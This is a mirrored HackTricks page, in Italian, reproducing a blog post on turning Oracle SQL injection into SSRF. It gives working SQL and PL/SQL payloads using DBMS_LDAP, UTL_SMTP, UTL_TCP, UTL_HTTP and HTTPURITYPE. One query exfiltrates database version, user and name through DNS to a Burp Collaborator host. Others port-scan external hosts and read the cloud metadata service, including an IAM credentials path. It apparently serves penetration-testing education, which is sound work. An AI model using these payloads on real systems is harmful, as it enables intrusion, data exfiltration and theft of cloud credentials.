mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
171 lines
10 KiB
Markdown
171 lines
10 KiB
Markdown
# Oracle injection
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
**Serve questo post una copia della wayback machine del post eliminato da [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
|
|
|
|
## SSRF
|
|
|
|
Utilizzare Oracle per effettuare richieste HTTP e DNS Out of Band è ben documentato, ma come mezzo per esfiltrare dati SQL nelle iniezioni. Possiamo sempre modificare queste tecniche/funzioni per fare altre SSRF/XSPA.
|
|
|
|
Installare Oracle può essere davvero doloroso, specialmente se vuoi impostare un'istanza veloce per provare comandi. Il mio amico e collega di [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), mi ha indirizzato a [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) che mi ha permesso di impostare un'istanza su una macchina AWS Ubuntu t2.large e Docker.
|
|
|
|
Ho eseguito il comando docker con il flag `--network="host"` in modo da poter imitare Oracle come un'installazione nativa con accesso completo alla rete, per il corso di questo blogpost.
|
|
```
|
|
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
|
```
|
|
#### Pacchetti Oracle che supportano una specifica di URL o di Nome Host/Numero di Porta <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
|
|
|
Per trovare eventuali pacchetti e funzioni che supportano una specifica di host e porta, ho eseguito una ricerca su Google nella [Documentazione Online di Oracle Database](https://docs.oracle.com/database/121/index.html). In particolare,
|
|
```
|
|
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
|
```
|
|
I risultati della ricerca hanno restituito i seguenti risultati (non tutti possono essere utilizzati per eseguire una rete in uscita)
|
|
|
|
* DBMS\_NETWORK\_ACL\_ADMIN
|
|
* UTL\_SMTP
|
|
* DBMS\_XDB
|
|
* DBMS\_SCHEDULER
|
|
* DBMS\_XDB\_CONFIG
|
|
* DBMS\_AQ
|
|
* UTL\_MAIL
|
|
* DBMS\_AQELM
|
|
* DBMS\_NETWORK\_ACL\_UTILITY
|
|
* DBMS\_MGD\_ID\_UTL
|
|
* UTL\_TCP
|
|
* DBMS\_MGWADM
|
|
* DBMS\_STREAMS\_ADM
|
|
* UTL\_HTTP
|
|
|
|
Questa ricerca grossolana ovviamente salta pacchetti come `DBMS_LDAP` (che consente di passare un nome host e un numero di porta) poiché [la pagina di documentazione](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) ti indirizza semplicemente a [un'altra posizione](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Pertanto, potrebbero esserci altri pacchetti Oracle che possono essere abusati per effettuare richieste in uscita che potrei aver perso.
|
|
|
|
In ogni caso, diamo un'occhiata ad alcuni dei pacchetti che abbiamo scoperto e elencato sopra.
|
|
|
|
**DBMS\_LDAP.INIT**
|
|
|
|
Il pacchetto `DBMS_LDAP` consente l'accesso ai dati dai server LDAP. La funzione `init()` inizializza una sessione con un server LDAP e prende un nome host e un numero di porta come argomento.
|
|
|
|
Questa funzione è stata documentata in precedenza per mostrare l'exfiltrazione di dati tramite DNS, come di seguito
|
|
```
|
|
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
|
```
|
|
Tuttavia, dato che la funzione accetta un nome host e un numero di porta come argomenti, puoi utilizzare questo per funzionare anche come uno scanner di porte.
|
|
|
|
Ecco alcuni esempi
|
|
```
|
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
|
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
|
```
|
|
Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica che la porta è chiusa mentre un valore di sessione indica che la porta è aperta.
|
|
|
|
**UTL\_SMTP**
|
|
|
|
Il pacchetto `UTL_SMTP` è progettato per inviare e-mail tramite SMTP. L'esempio fornito sul [sito di documentazione Oracle mostra come puoi utilizzare questo pacchetto per inviare un'email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Per noi, tuttavia, la cosa interessante è la possibilità di fornire una specifica di host e porta.
|
|
|
|
Un esempio rudimentale è mostrato di seguito con la funzione `UTL_SMTP.OPEN_CONNECTION`, con un timeout di 2 secondi.
|
|
```
|
|
DECLARE c utl_smtp.connection;
|
|
BEGIN
|
|
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
|
|
END;
|
|
```
|
|
|
|
```
|
|
DECLARE c utl_smtp.connection;
|
|
BEGIN
|
|
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
|
|
END;
|
|
```
|
|
Un `ORA-29276: transfer timeout` mostra che la porta è aperta ma non è stata stabilita alcuna connessione SMTP, mentre un `ORA-29278: SMTP transient error: 421 Service not available` mostra che la porta è chiusa.
|
|
|
|
**UTL\_TCP**
|
|
|
|
Il pacchetto `UTL_TCP` e le sue procedure e funzioni consentono la [comunicazione basata su TCP/IP con i servizi](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programmato per un servizio specifico, questo pacchetto può facilmente diventare un modo per accedere alla rete o eseguire richieste complete lato server, poiché tutti gli aspetti di una connessione TCP/IP possono essere controllati.
|
|
|
|
L'esempio [sul sito della documentazione Oracle mostra come puoi utilizzare questo pacchetto per stabilire una connessione TCP raw per recuperare una pagina web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Possiamo semplificarlo ulteriormente e usarlo per effettuare richieste all'istanza dei metadati, ad esempio, o a un servizio TCP/IP arbitrario.
|
|
```
|
|
set serveroutput on size 30000;
|
|
SET SERVEROUTPUT ON
|
|
DECLARE c utl_tcp.connection;
|
|
retval pls_integer;
|
|
BEGIN
|
|
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
|
|
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
|
|
retval := utl_tcp.write_line(c);
|
|
BEGIN
|
|
LOOP
|
|
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
|
|
END LOOP;
|
|
EXCEPTION
|
|
WHEN utl_tcp.end_of_input THEN
|
|
NULL;
|
|
END;
|
|
utl_tcp.close_connection(c);
|
|
END;
|
|
/
|
|
```
|
|
|
|
```
|
|
DECLARE c utl_tcp.connection;
|
|
retval pls_integer;
|
|
BEGIN
|
|
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
|
|
retval := utl_tcp.write_line(c);
|
|
BEGIN
|
|
LOOP
|
|
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
|
|
END LOOP;
|
|
EXCEPTION
|
|
WHEN utl_tcp.end_of_input THEN
|
|
NULL;
|
|
END;
|
|
utl_tcp.close_connection(c);
|
|
END;
|
|
```
|
|
Interessantemente, grazie alla capacità di creare richieste TCP raw, questo pacchetto può essere utilizzato anche per interrogare il servizio di meta-dati dell'istanza di tutti i fornitori di cloud, poiché il tipo di metodo e le intestazioni aggiuntive possono essere tutte passate all'interno della richiesta TCP.
|
|
|
|
**UTL\_HTTP e Richieste Web**
|
|
|
|
Forse la tecnica più comune e ampiamente documentata in ogni tutorial di Oracle SQL Injection Out of Band è il [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Questo pacchetto è definito dalla documentazione come - `Il pacchetto UTL_HTTP effettua chiamate al Protocollo di Trasferimento Ipertestuale (HTTP) da SQL e PL/SQL. Puoi usarlo per accedere ai dati su Internet tramite HTTP.`
|
|
```
|
|
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
|
```
|
|
Potresti inoltre utilizzare questo per eseguire alcune scansioni di porte rudimentali con query come
|
|
```
|
|
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
|
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
|
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
|
```
|
|
Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` è un segno che la porta TCP è chiusa, mentre un `ORA-29263: HTTP protocol error` o dati sono un segno che la porta è aperta.
|
|
|
|
Un altro pacchetto che ho utilizzato in passato con successo variabile è il [`GETCLOB()` metodo del tipo astratto `HTTPURITYPE` di Oracle](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) che consente di interagire con un URL e fornisce supporto per il protocollo HTTP. Il metodo `GETCLOB()` viene utilizzato per recuperare la risposta GET da un URL come un [tipo di dato CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|